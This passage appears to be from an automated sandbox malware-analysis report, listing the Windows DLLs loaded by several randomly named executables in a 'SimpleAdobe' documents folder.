Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: riched20.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: usp10.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: msls31.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: pcacli.dll
Source: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: mozglue.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: wsock32.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: acgenral.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: samcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: aclayers.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: sfc.dll
Source: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: winsta.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: sxs.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: samcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: samlib.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: acgenral.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: samcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: aclayers.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: sfc.dll
Source: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Section loaded: winhttp.dll
